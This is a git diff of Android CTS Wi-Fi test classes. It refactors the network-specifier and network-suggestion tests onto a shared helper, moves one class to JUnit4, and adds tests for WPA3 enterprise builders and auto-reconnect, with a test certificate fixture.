@@ -167,14 +264,24 @@
         mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
         mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mTestHelper = new TestHelper(mContext, mUiDevice);
+
+        assumeTrue(WifiFeature.isWifiSupported(mContext));
 
         // turn screen on
-        turnScreenOn();
+        mTestHelper.turnScreenOn();
+
+        // Clear any existing app state before each test.
+        if (WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(mContext)) {
+            ShellIdentityUtils.invokeWithShellPermissions(
+                    () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+        }
 
         List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
                 () -> mWifiManager.getPrivilegedConfiguredNetworks());
-        // Pick the last saved network on the device (assumes that it is in range)
-        mTestNetwork = savedNetworks.get(savedNetworks.size()  - 1);
+        // Pick any network in range.
+        mTestNetwork = TestHelper.findMatchingSavedNetworksWithBssid(mWifiManager, savedNetworks)
+                .get(0);
 
         // Wait for Wifi to be disconnected.
         PollingCheck.check(
@@ -186,264 +293,37 @@
     @After
     public void tearDown() throws Exception {
         // If there is failure, ensure we unregister the previous request.
-        if (mNetworkCallback != null) {
-            mConnectivityManager.unregisterNetworkCallback(mNetworkCallback);
+        if (mNrNetworkCallback != null) {
+            mConnectivityManager.unregisterNetworkCallback(mNrNetworkCallback);
         }
-        turnScreenOff();
+        // Clear any existing app state after each test.
+        if (WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(mContext)) {
+            ShellIdentityUtils.invokeWithShellPermissions(
+                    () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+        }
+        mTestHelper.turnScreenOff();
     }
 
-    private static void setWifiEnabled(boolean enable) throws Exception {
-        // now trigger the change using shell commands.
-        SystemUtil.runShellCommand("svc wifi " + (enable ? "enable" : "disable"));
+    private void testSuccessfulConnectionWithSpecifier(WifiNetworkSpecifier specifier)
+            throws Exception {
+        mNrNetworkCallback = mTestHelper.testConnectionFlowWithSpecifier(
+                mTestNetwork, specifier, false);
     }
 
-    private void turnScreenOn() throws Exception {
-        mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        mUiDevice.executeShellCommand("wm dismiss-keyguard");
-        // Since the screen on/off intent is ordered, they will not be sent right now.
-        Thread.sleep(DURATION_SCREEN_TOGGLE);
-    }
-
-    private void turnScreenOff() throws Exception {
-        mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
-        // Since the screen on/off intent is ordered, they will not be sent right now.
-        Thread.sleep(DURATION_SCREEN_TOGGLE);
-    }
-
-    private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
-        private final Object mLock;
-        public boolean onAvailableCalled = false;
-        public boolean onUnavailableCalled = false;
-        public NetworkCapabilities networkCapabilities;
-
-        TestNetworkCallback(Object lock) {
-            mLock = lock;
-        }
-
-        @Override
-        public void onAvailable(Network network, NetworkCapabilities networkCapabilities,
-                LinkProperties linkProperties, boolean blocked) {
-            synchronized (mLock) {
-                onAvailableCalled = true;
-                this.networkCapabilities = networkCapabilities;
-                mLock.notify();
-            }
-        }
-
-        @Override
-        public void onUnavailable() {
-            synchronized (mLock) {
-                onUnavailableCalled = true;
-                mLock.notify();
-            }
-        }
-    }
-
-    private static class TestNetworkRequestMatchCallback implements NetworkRequestMatchCallback {
-        private final Object mLock;
-
-        public boolean onRegistrationCalled = false;
-        public boolean onAbortCalled = false;
-        public boolean onMatchCalled = false;
-        public boolean onConnectSuccessCalled = false;
-        public boolean onConnectFailureCalled = false;
-        public WifiManager.NetworkRequestUserSelectionCallback userSelectionCallback = null;
-        public List<ScanResult> matchedScanResults = null;
-
-        TestNetworkRequestMatchCallback(Object lock) {
-            mLock = lock;
-        }
-
-        @Override
-        public void onUserSelectionCallbackRegistration(
-                WifiManager.NetworkRequestUserSelectionCallback userSelectionCallback) {
-            synchronized (mLock) {
-                onRegistrationCalled = true;
-                this.userSelectionCallback = userSelectionCallback;
-                mLock.notify();
-            }
-        }
-
-        @Override
-        public void onAbort() {
-            synchronized (mLock) {
-                onAbortCalled = true;
-                mLock.notify();
-            }
-        }
-
-        @Override
-        public void onMatch(List<ScanResult> scanResults) {
-            synchronized (mLock) {
-                // This can be invoked multiple times. So, ignore after the first one to avoid
-                // disturbing the rest of the test sequence.
-                if (onMatchCalled) return;
-                onMatchCalled = true;
-                matchedScanResults = scanResults;
-                mLock.notify();
-            }
-        }
-
-        @Override
-        public void onUserSelectionConnectSuccess(WifiConfiguration config) {
-            synchronized (mLock) {
-                onConnectSuccessCalled = true;
-                mLock.notify();
-            }
-        }
-
-        @Override
-        public void onUserSelectionConnectFailure(WifiConfiguration config) {
-            synchronized (mLock) {
-                onConnectFailureCalled = true;
-                mLock.notify();
-            }
-        }
-    }
-
-    private void handleUiInteractions(boolean shouldUserReject) {
-        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        TestNetworkRequestMatchCallback networkRequestMatchCallback =
-                new TestNetworkRequestMatchCallback(mUiLock);
-        try {
-            uiAutomation.adoptShellPermissionIdentity();
-
-            // 1. Wait for registration callback.
-            synchronized (mUiLock) {
-                try {
-                    mWifiManager.registerNetworkRequestMatchCallback(
-                            Executors.newSingleThreadExecutor(), networkRequestMatchCallback);
-                    mUiLock.wait(DURATION_UI_INTERACTION);
-                } catch (InterruptedException e) {
-                }
-            }
-            assertTrue(networkRequestMatchCallback.onRegistrationCalled);
-            assertNotNull(networkRequestMatchCallback.userSelectionCallback);
-
-            // 2. Wait for matching scan results
-            synchronized (mUiLock) {
-                try {
-                    mUiLock.wait(DURATION_UI_INTERACTION);
-                } catch (InterruptedException e) {
-                }
-            }
-            assertTrue(networkRequestMatchCallback.onMatchCalled);
-            assertNotNull(networkRequestMatchCallback.matchedScanResults);
-            assertThat(networkRequestMatchCallback.matchedScanResults.size()).isAtLeast(1);
-
-            // 3. Trigger connection to one of the matched networks or reject the request.
-            if (shouldUserReject) {
-                networkRequestMatchCallback.userSelectionCallback.reject();
-            } else {
-                networkRequestMatchCallback.userSelectionCallback.select(mTestNetwork);
-            }
-
-            // 4. Wait for connection success or abort.
-            synchronized (mUiLock) {
-                try {
-                    mUiLock.wait(DURATION_UI_INTERACTION);
-                } catch (InterruptedException e) {
-                }
-            }
-            if (shouldUserReject) {
-                assertTrue(networkRequestMatchCallback.onAbortCalled);
-            } else {
-                assertTrue(networkRequestMatchCallback.onConnectSuccessCalled);
-            }
-        } finally {
-            mWifiManager.unregisterNetworkRequestMatchCallback(networkRequestMatchCallback);
-            uiAutomation.dropShellPermissionIdentity();
-        }
-    }
-
-    /**
-     * Tests the entire connection flow using the provided specifier.
-     *
-     * @param specifier Specifier to use for network request.
-     * @param shouldUserReject Whether to simulate user rejection or not.
-     */
-    private void testConnectionFlowWithSpecifier(
-            WifiNetworkSpecifier specifier, boolean shouldUserReject) {
-        // Fork a thread to handle the UI interactions.
-        Thread uiThread = new Thread(() -> handleUiInteractions(shouldUserReject));
-
-        // File the network request & wait for the callback.
-        mNetworkCallback = new TestNetworkCallback(mLock);
-        synchronized (mLock) {
-            try {
-                // File a request for wifi network.
-                mConnectivityManager.requestNetwork(
-                        new NetworkRequest.Builder()
-                                .addTransportType(TRANSPORT_WIFI)
-                                .setNetworkSpecifier(specifier)
-                                .build(),
-                        mNetworkCallback);
-                // Wait for the request to reach the wifi stack before kick-starting the UI
-                // interactions.
-                Thread.sleep(100);
-                // Start the UI interactions.
-                uiThread.run();
-                // now wait for callback
-                mLock.wait(DURATION_NETWORK_CONNECTION);
-            } catch (InterruptedException e) {
-            }
-        }
-        if (shouldUserReject) {
-            assertTrue(mNetworkCallback.onUnavailableCalled);
-        } else {
-            assertTrue(mNetworkCallback.onAvailableCalled);
-        }
-
-        try {
-            // Ensure that the UI interaction thread has completed.
-            uiThread.join(DURATION_UI_INTERACTION);
-        } catch (InterruptedException e) {
-            fail("UI interaction interrupted");
-        }
-
-        // Release the request after the test.
-        mConnectivityManager.unregisterNetworkCallback(mNetworkCallback);
-        mNetworkCallback = null;
-    }
-
-    private void testSuccessfulConnectionWithSpecifier(WifiNetworkSpecifier specifier) {
-        testConnectionFlowWithSpecifier(specifier, false);
-    }
-
-    private void testUserRejectionWithSpecifier(WifiNetworkSpecifier specifier) {
-        testConnectionFlowWithSpecifier(specifier, true);
-    }
-
-    private static String removeDoubleQuotes(String string) {
-        return WifiInfo.sanitizeSsid(string);
-    }
-
-    private WifiNetworkSpecifier.Builder createSpecifierBuilderWithCredentialFromSavedNetwork() {
-        WifiNetworkSpecifier.Builder specifierBuilder = new WifiNetworkSpecifier.Builder();
-        if (mTestNetwork.preSharedKey != null) {
-            if (mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.WPA_PSK)) {
-                specifierBuilder.setWpa2Passphrase(removeDoubleQuotes(mTestNetwork.preSharedKey));
-            } else if (mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.SAE)) {
-                specifierBuilder.setWpa3Passphrase(removeDoubleQuotes(mTestNetwork.preSharedKey));
-            } else {
-                fail("Unsupported security type found in saved networks");
-            }
-        } else if (!mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
-            specifierBuilder.setIsEnhancedOpen(false);
-        } else if (!mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.NONE)) {
-            fail("Unsupported security type found in saved networks");
-        }
-        specifierBuilder.setIsHiddenSsid(mTestNetwork.hiddenSSID);
-        return specifierBuilder;
+    private void testUserRejectionWithSpecifier(WifiNetworkSpecifier specifier)
+            throws Exception {
+        mNrNetworkCallback = mTestHelper.testConnectionFlowWithSpecifier(
+                mTestNetwork, specifier, true);
     }
 
     /**
      * Tests the entire connection flow using a specific SSID in the specifier.
      */
     @Test
-    public void testConnectionWithSpecificSsid() {
-        WifiNetworkSpecifier specifier = createSpecifierBuilderWithCredentialFromSavedNetwork()
-                .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
+    public void testConnectionWithSpecificSsid() throws Exception {
+        WifiNetworkSpecifier specifier =
+                TestHelper.createSpecifierBuilderWithCredentialFromSavedNetwork(
+                        mTestNetwork)
                 .build();
         testSuccessfulConnectionWithSpecifier(specifier);
     }
@@ -452,82 +332,31 @@
      * Tests the entire connection flow using a SSID pattern in the specifier.
      */
     @Test
-    public void testConnectionWithSsidPattern() {
+    public void testConnectionWithSsidPattern() throws Exception {
         // Creates a ssid pattern by dropping the last char in the saved network & pass that
         // as a prefix match pattern in the request.
-        String ssidUnquoted = removeDoubleQuotes(mTestNetwork.SSID);
+        String ssidUnquoted = WifiInfo.sanitizeSsid(mTestNetwork.SSID);
         assertThat(ssidUnquoted.length()).isAtLeast(2);
         String ssidPrefix = ssidUnquoted.substring(0, ssidUnquoted.length() - 1);
         // Note: The match may return more than 1 network in this case since we use a prefix match,
         // But, we will still ensure that the UI interactions in the test still selects the
         // saved network for connection.
-        WifiNetworkSpecifier specifier = createSpecifierBuilderWithCredentialFromSavedNetwork()
+        WifiNetworkSpecifier specifier =
+                TestHelper.createSpecifierBuilderWithCredentialFromSavedNetwork(mTestNetwork)
                 .setSsidPattern(new PatternMatcher(ssidPrefix, PatternMatcher.PATTERN_PREFIX))
                 .build();
         testSuccessfulConnectionWithSpecifier(specifier);
     }
 
-    private static class TestScanResultsCallback extends WifiManager.ScanResultsCallback {
-        private final Object mLock;
-        public boolean onAvailableCalled = false;
-
-        TestScanResultsCallback(Object lock) {
-            mLock = lock;
-        }
-
-        @Override
-        public void onScanResultsAvailable() {
-            synchronized (mLock) {
-                onAvailableCalled = true;
-                mLock.notify();
-            }
-        }
-    }
-
-    /**
-     * Loops through all available scan results and finds the first match for the saved network.
-     *
-     * Note:
-     * a) If there are more than 2 networks with the same SSID, but different credential type, then
-     * this matching may pick the wrong one.
-     */
-    private ScanResult findScanResultMatchingSavedNetwork() {
-        for (int i = 0; i < SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID; i++) {
-            // Trigger a scan to get fresh scan results.
-            TestScanResultsCallback scanResultsCallback = new TestScanResultsCallback(mLock);
-            synchronized (mLock) {
-                try {
-                    mWifiManager.registerScanResultsCallback(
-                            Executors.newSingleThreadExecutor(), scanResultsCallback);
-                    mWifiManager.startScan(new WorkSource(myUid()));
-                    // now wait for callback
-                    mLock.wait(DURATION_NETWORK_CONNECTION);
-                } catch (InterruptedException e) {
-                } finally {
-                    mWifiManager.unregisterScanResultsCallback(scanResultsCallback);
-                }
-            }
-            List<ScanResult> scanResults = mWifiManager.getScanResults();
-            if (scanResults == null || scanResults.isEmpty()) fail("No scan results available");
-            for (ScanResult scanResult : scanResults) {
-                if (TextUtils.equals(scanResult.SSID, removeDoubleQuotes(mTestNetwork.SSID))) {
-                    return scanResult;
-                }
-            }
-        }
-        fail("No matching scan results found");
-        return null;
-    }
-
     /**
      * Tests the entire connection flow using a specific BSSID in the specifier.
      */
     @Test
-    public void testConnectionWithSpecificBssid() {
-        ScanResult scanResult = findScanResultMatchingSavedNetwork();
-        WifiNetworkSpecifier specifier = createSpecifierBuilderWithCredentialFromSavedNetwork()
-                .setBssid(MacAddress.fromString(scanResult.BSSID))
-                .build();
+    public void testConnectionWithSpecificBssid() throws Exception {
+        WifiNetworkSpecifier specifier =
+                TestHelper.createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetwork)
+                        .build();
         testSuccessfulConnectionWithSpecifier(specifier);
     }
 
@@ -535,15 +364,16 @@
      * Tests the entire connection flow using a BSSID pattern in the specifier.
      */
     @Test
-    public void testConnectionWithBssidPattern() {
-        ScanResult scanResult = findScanResultMatchingSavedNetwork();
+    public void testConnectionWithBssidPattern() throws Exception {
         // Note: The match may return more than 1 network in this case since we use a prefix match,
         // But, we will still ensure that the UI interactions in the test still selects the
         // saved network for connection.
-        WifiNetworkSpecifier specifier = createSpecifierBuilderWithCredentialFromSavedNetwork()
-                .setBssidPattern(MacAddress.fromString(scanResult.BSSID),
-                        MacAddress.fromString("ff:ff:ff:00:00:00"))
-                .build();
+        WifiNetworkSpecifier specifier =
+                TestHelper.createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetwork)
+                        .setBssidPattern(MacAddress.fromString(mTestNetwork.BSSID),
+                                MacAddress.fromString("ff:ff:ff:00:00:00"))
+                        .build();
         testSuccessfulConnectionWithSpecifier(specifier);
     }
 
@@ -551,25 +381,58 @@
      * Tests the entire connection flow using a BSSID pattern in the specifier.
      */
     @Test
-    public void testUserRejectionWithSpecificSsid() {
-        WifiNetworkSpecifier specifier = createSpecifierBuilderWithCredentialFromSavedNetwork()
-                .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
-                .build();
+    public void testUserRejectionWithSpecificSsid() throws Exception {
+        WifiNetworkSpecifier specifier =
+                TestHelper.createSpecifierBuilderWithCredentialFromSavedNetwork(
+                        mTestNetwork)
+                        .build();
         testUserRejectionWithSpecifier(specifier);
     }
 
     /**
+     * Tests the entire connection flow using a specific SSID in the specifier and ensure that the
+     * device auto connects back to some saved network or suggestions in range of the device (that
+     * can provide internet connectivity) when the request is released.
+     */
+    @Test
+    public void testEnsureAutoConnectToInternetConnectionOnRelease() throws Exception {
+        WifiNetworkSpecifier specifier =
+                TestHelper.createSpecifierBuilderWithCredentialFromSavedNetwork(
+                        mTestNetwork)
+                        .build();
+        testSuccessfulConnectionWithSpecifier(specifier);
+
+        // Now release the network request.
+        mConnectivityManager.unregisterNetworkCallback(mNrNetworkCallback);
+        mNrNetworkCallback = null;
+
+        // Enable all saved networks on the device
+        enableAllSavedNetworks(mWifiManager);
+        try {
+            // Wait for the device to auto-connect back to some saved or suggested network (which
+            // can provide internet connectivity.
+            // Note: On devices with concurrency support, this may return true immediately (since
+            // the internet connection may be present concurrently).
+            mTestHelper.assertWifiInternetConnectionAvailable();
+        } finally {
+            // need to always disable saved networks again since the other tests in this class
+            // assume it
+            disableAllSavedNetworks(mWifiManager);
+        }
+    }
+
+    /**
      * Tests the builder for WPA2 enterprise networks.
      * Note: Can't do end to end tests for such networks in CTS environment.
      */
     @Test
     public void testBuilderForWpa2Enterprise() {
         WifiNetworkSpecifier specifier1 = new WifiNetworkSpecifier.Builder()
-                .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
+                .setSsid(WifiInfo.sanitizeSsid(mTestNetwork.SSID))
                 .setWpa2EnterpriseConfig(new WifiEnterpriseConfig())
                 .build();
         WifiNetworkSpecifier specifier2 = new WifiNetworkSpecifier.Builder()
-                .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
+                .setSsid(WifiInfo.sanitizeSsid(mTestNetwork.SSID))
                 .setWpa2EnterpriseConfig(new WifiEnterpriseConfig())
                 .build();
         assertThat(specifier1.canBeSatisfiedBy(specifier2)).isTrue();
@@ -582,13 +445,54 @@
     @Test
     public void testBuilderForWpa3Enterprise() {
         WifiNetworkSpecifier specifier1 = new WifiNetworkSpecifier.Builder()
-                .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
+                .setSsid(WifiInfo.sanitizeSsid(mTestNetwork.SSID))
                 .setWpa3EnterpriseConfig(new WifiEnterpriseConfig())
                 .build();
         WifiNetworkSpecifier specifier2 = new WifiNetworkSpecifier.Builder()
-                .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
+                .setSsid(WifiInfo.sanitizeSsid(mTestNetwork.SSID))
                 .setWpa3EnterpriseConfig(new WifiEnterpriseConfig())
                 .build();
         assertThat(specifier1.canBeSatisfiedBy(specifier2)).isTrue();
     }
+
+    /**
+     * Tests the builder for WPA3 enterprise networks.
+     * Note: Can't do end to end tests for such networks in CTS environment.
+     */
+    @Test
+    public void testBuilderForWpa3EnterpriseWithStandardApi() {
+        WifiNetworkSpecifier specifier1 = new WifiNetworkSpecifier.Builder()
+                .setSsid(WifiInfo.sanitizeSsid(mTestNetwork.SSID))
+                .setWpa3EnterpriseStandardModeConfig(new WifiEnterpriseConfig())
+                .build();
+        WifiNetworkSpecifier specifier2 = new WifiNetworkSpecifier.Builder()
+                .setSsid(WifiInfo.sanitizeSsid(mTestNetwork.SSID))
+                .setWpa3EnterpriseConfig(new WifiEnterpriseConfig())
+                .build();
+        assertThat(specifier1.canBeSatisfiedBy(specifier2)).isTrue();
+    }
+
+    /**
+     * Tests the builder for WPA3 enterprise networks.
+     * Note: Can't do end to end tests for such networks in CTS environment.
+     */
+    @Test
+    public void testBuilderForWpa3Enterprise192bit() {
+        WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
+        enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
+        enterpriseConfig.setCaCertificate(CA_SUITE_B_ECDSA_CERT);
+        enterpriseConfig.setClientKeyEntryWithCertificateChain(CLIENT_SUITE_B_ECC_KEY,
+                new X509Certificate[] {CLIENT_SUITE_B_ECDSA_CERT});
+        enterpriseConfig.setAltSubjectMatch("domain.com");
+
+        WifiNetworkSpecifier specifier1 = new WifiNetworkSpecifier.Builder()
+                .setSsid(WifiInfo.sanitizeSsid(mTestNetwork.SSID))
+                .setWpa3Enterprise192BitModeConfig(enterpriseConfig)
+                .build();
+        WifiNetworkSpecifier specifier2 = new WifiNetworkSpecifier.Builder()
+                .setSsid(WifiInfo.sanitizeSsid(mTestNetwork.SSID))
+                .setWpa3Enterprise192BitModeConfig(enterpriseConfig)
+                .build();
+        assertThat(specifier1.canBeSatisfiedBy(specifier2)).isTrue();
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
index 34a36d6..0454977 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
@@ -16,45 +16,672 @@
 
 package android.net.wifi.cts;
 
+import static android.net.NetworkCapabilities.NET_CAPABILITY_OEM_PAID;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_OEM_PRIVATE;
 import static android.net.wifi.WifiEnterpriseConfig.Eap.AKA;
 import static android.net.wifi.WifiEnterpriseConfig.Eap.WAPI_CERT;
+import static android.os.Process.myUid;
 
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.location.LocationManager;
+import android.net.ConnectivityManager;
 import android.net.MacAddress;
+import android.net.wifi.WifiConfiguration;
 import android.net.wifi.WifiEnterpriseConfig;
+import android.net.wifi.WifiManager;
 import android.net.wifi.WifiNetworkSuggestion;
 import android.net.wifi.hotspot2.PasspointConfiguration;
 import android.net.wifi.hotspot2.pps.Credential;
 import android.net.wifi.hotspot2.pps.HomeSp;
 import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.UiDevice;
 import android.telephony.TelephonyManager;
-import android.test.AndroidTestCase;
 
+import androidx.core.os.BuildCompat;
+import androidx.test.filters.SdkSuppress;
 import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.nio.charset.StandardCharsets;
+import java.security.KeyFactory;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.cert.CertificateFactory;
+import java.security.cert.X509Certificate;
+import java.security.spec.InvalidKeySpecException;
+import java.security.spec.PKCS8EncodedKeySpec;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ScheduledExecutorService;
 
 @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 @SmallTest
-public class WifiNetworkSuggestionTest extends WifiJUnit3TestBase {
+@RunWith(AndroidJUnit4.class)
+public class WifiNetworkSuggestionTest extends WifiJUnit4TestBase {
+    private static final String TAG = "WifiNetworkSuggestionTest";
+
     private static final String TEST_SSID = "testSsid";
     private static final String TEST_BSSID = "00:df:aa:bc:12:23";
     private static final String TEST_PASSPHRASE = "testPassword";
+    private static final int TEST_PRIORITY = 5;
+    private static final int TEST_PRIORITY_GROUP = 1;
+    private static final int TEST_SUB_ID = 1;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
+    private static boolean sWasVerboseLoggingEnabled;
+    private static boolean sWasScanThrottleEnabled;
+    private static boolean sWasWifiEnabled;
+
+    private static Context sContext;
+    private static WifiManager sWifiManager;
+    private static ConnectivityManager sConnectivityManager;
+    private static UiDevice sUiDevice;
+    private static WifiConfiguration sTestNetwork;
+    private static ConnectivityManager.NetworkCallback sNsNetworkCallback;
+    private static TestHelper sTestHelper;
+
+    private ScheduledExecutorService mExecutorService;
+
+    private static final int DURATION_MILLIS = 10_000;
+
+    @BeforeClass
+    public static void setUpClass() throws Exception {
+        sContext = InstrumentationRegistry.getInstrumentation().getContext();
+        // skip the test if WiFi is not supported
+        // Don't use assumeTrue in @BeforeClass
+        if (!WifiFeature.isWifiSupported(sContext)) return;
+        // skip the test if location is not supported
+        if (!sContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION)) return;
+        // skip if the location is disabled
+        if (!sContext.getSystemService(LocationManager.class).isLocationEnabled()) return;
+
+        sWifiManager = sContext.getSystemService(WifiManager.class);
+        assertThat(sWifiManager).isNotNull();
+        sConnectivityManager = sContext.getSystemService(ConnectivityManager.class);
+        sUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        sTestHelper = new TestHelper(sContext, sUiDevice);
+
+        // turn on verbose logging for tests
+        sWasVerboseLoggingEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> sWifiManager.isVerboseLoggingEnabled());
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> sWifiManager.setVerboseLoggingEnabled(true));
+        // Disable scan throttling for tests.
+        sWasScanThrottleEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> sWifiManager.isScanThrottleEnabled());
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> sWifiManager.setScanThrottleEnabled(false));
+
+        // enable Wifi
+        sWasWifiEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> sWifiManager.isWifiEnabled());
+        if (!sWifiManager.isWifiEnabled()) {
+            ShellIdentityUtils.invokeWithShellPermissions(() -> sWifiManager.setWifiEnabled(true));
+        }
+        PollingCheck.check("Wifi not enabled", DURATION_MILLIS, () -> sWifiManager.isWifiEnabled());
+
+        // check we have >= 1 saved network
+        List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> sWifiManager.getPrivilegedConfiguredNetworks());
+        if (savedNetworks.isEmpty()) {
             return;
         }
+        // Pick any network in range.
+
+        List<WifiConfiguration> networks = TestHelper.findMatchingSavedNetworksWithBssid(
+                sWifiManager, savedNetworks);
+        if (!networks.isEmpty()) {
+            sTestNetwork = networks.get(0);
+        }
+
+        // Disable auto-join on the saved network to prevent auto-connect from
+        // interfering with the test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> {
+                    for (WifiConfiguration savedNetwork : savedNetworks) {
+                        sWifiManager.disableNetwork(savedNetwork.networkId);
+                    }
+                });
+    }
+
+    @AfterClass
+    public static void tearDownClass() throws Exception {
+        if (!WifiFeature.isWifiSupported(sContext)) return;
+
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> sWifiManager.setScanThrottleEnabled(sWasScanThrottleEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> sWifiManager.setVerboseLoggingEnabled(sWasVerboseLoggingEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> sWifiManager.setWifiEnabled(sWasWifiEnabled));
+
+        // Re-enable networks.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> {
+                    for (WifiConfiguration savedNetwork : sWifiManager.getConfiguredNetworks()) {
+                        sWifiManager.enableNetwork(savedNetwork.networkId, false);
+                    }
+                });
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mExecutorService = Executors.newSingleThreadScheduledExecutor();
+        // turn screen on
+        sTestHelper.turnScreenOn();
+
+        // Disconnect current network if any.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> sWifiManager.disconnect());
+
+        // Wait for Wifi to be disconnected.
+        PollingCheck.check(
+                "Wifi not disconnected",
+                20_000,
+                () -> sWifiManager.getConnectionInfo().getNetworkId() == -1);
+
+        // Clear any existing app state before each test.
+        if (WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(sContext)) {
+            ShellIdentityUtils.invokeWithShellPermissions(
+                    () -> sWifiManager.removeAppState(myUid(), sContext.getPackageName()));
+        }
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            super.tearDown();
-            return;
+    @After
+    public void tearDown() throws Exception {
+        // Release the requests after the test.
+        if (sNsNetworkCallback != null) {
+            sConnectivityManager.unregisterNetworkCallback(sNsNetworkCallback);
         }
-        super.tearDown();
+        mExecutorService.shutdownNow();
+        // Clear any existing app state after each test.
+        if (WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(sContext)) {
+            ShellIdentityUtils.invokeWithShellPermissions(
+                    () -> sWifiManager.removeAppState(myUid(), sContext.getPackageName()));
+        }
+        sTestHelper.turnScreenOff();
+    }
+
+    private static final String CA_SUITE_B_RSA3072_CERT_STRING =
+            "-----BEGIN CERTIFICATE-----\n"
+                    + "MIIEnTCCAwWgAwIBAgIUD87Y8fFLzLr1HQ/64aEnjNq2R/4wDQYJKoZIhvcNAQEM\n"
+                    + "BQAwXjELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkNBMQwwCgYDVQQHDANNVFYxEDAO\n"
+                    + "BgNVBAoMB0FuZHJvaWQxDjAMBgNVBAsMBVdpLUZpMRIwEAYDVQQDDAl1bml0ZXN0\n"
+                    + "Q0EwHhcNMjAwNzIxMDIxNzU0WhcNMzAwNTMwMDIxNzU0WjBeMQswCQYDVQQGEwJV\n"
+                    + "UzELMAkGA1UECAwCQ0ExDDAKBgNVBAcMA01UVjEQMA4GA1UECgwHQW5kcm9pZDEO\n"
+                    + "MAwGA1UECwwFV2ktRmkxEjAQBgNVBAMMCXVuaXRlc3RDQTCCAaIwDQYJKoZIhvcN\n"
+                    + "AQEBBQADggGPADCCAYoCggGBAMtrsT0otlxh0QS079KpRRbU1PQjCihSoltXnrxF\n"
+                    + "sTWZs2weVEeYVyYU5LaauCDDgISCMtjtfbfylMBeYjpWB5hYzYQOiTzo0anWhMyb\n"
+                    + "Ngb7gpMVZuIl6lwMYRyVRKwHWnTo2EUg1ZzW5rGe5fs/KHj6//hoNFm+3Oju0TQd\n"
+                    + "nraQULpoERPF5B7p85Cssk8uNbviBfZXvtCuJ4N6w7PNceOY/9bbwc1mC+pPZmzV\n"
